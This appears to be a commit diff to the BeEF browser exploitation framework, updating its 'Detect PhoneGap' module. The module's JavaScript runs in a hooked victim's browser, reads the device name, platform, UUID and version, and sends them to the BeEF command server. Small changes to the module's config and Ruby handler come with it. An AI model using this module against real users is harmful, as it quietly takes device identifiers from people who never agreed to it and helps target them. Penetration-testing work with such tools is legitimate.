Minor updates to PhoneGap modules:
o Fixed bug in the Detect PhoneGap module o No longer fails to return if PhoneGap is not present o Some minor module name and description updates
This commit is contained in:
@@ -1,12 +1,21 @@
|
||||
//
|
||||
// exploit phonegap
|
||||
// detect phonegap
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>,
|
||||
'phonegap_version='+" name: " + device.name
|
||||
+ " phonegap api: " + device.phonegap
|
||||
+ " platform: " + device.platform
|
||||
+ " uuid: " + device.uuid
|
||||
+ " version: " + device.version);
|
||||
var phonegap_details;
|
||||
|
||||
try {
|
||||
phonegap_details = ""
|
||||
+ " name: " + device.name
|
||||
+ " phonegap api: " + device.phonegap
|
||||
+ " platform: " + device.platform
|
||||
+ " uuid: " + device.uuid
|
||||
+ " version: " + device.version;
|
||||
} catch(e) {
|
||||
phonegap_details = "unable to detect phonegap";
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "phonegap="+phonegap_details);
|
||||
|
||||
});
|
||||
|
||||
@@ -5,8 +5,8 @@ beef:
|
||||
Detect:
|
||||
enable: true
|
||||
category: "Phonegap"
|
||||
name: "Detect phonegap"
|
||||
description: "Detects if phonegap api is present"
|
||||
name: "Detect PhoneGap"
|
||||
description: "Detects if the PhoneGap API is present."
|
||||
authors: ["mh"]
|
||||
target:
|
||||
working: ["All"]
|
||||
|
||||
@@ -5,7 +5,7 @@ class Detect < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['phonegap_version'] = @datastore['phonegap_version']
|
||||
content['phonegap'] = @datastore['phonegap']
|
||||
save content
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user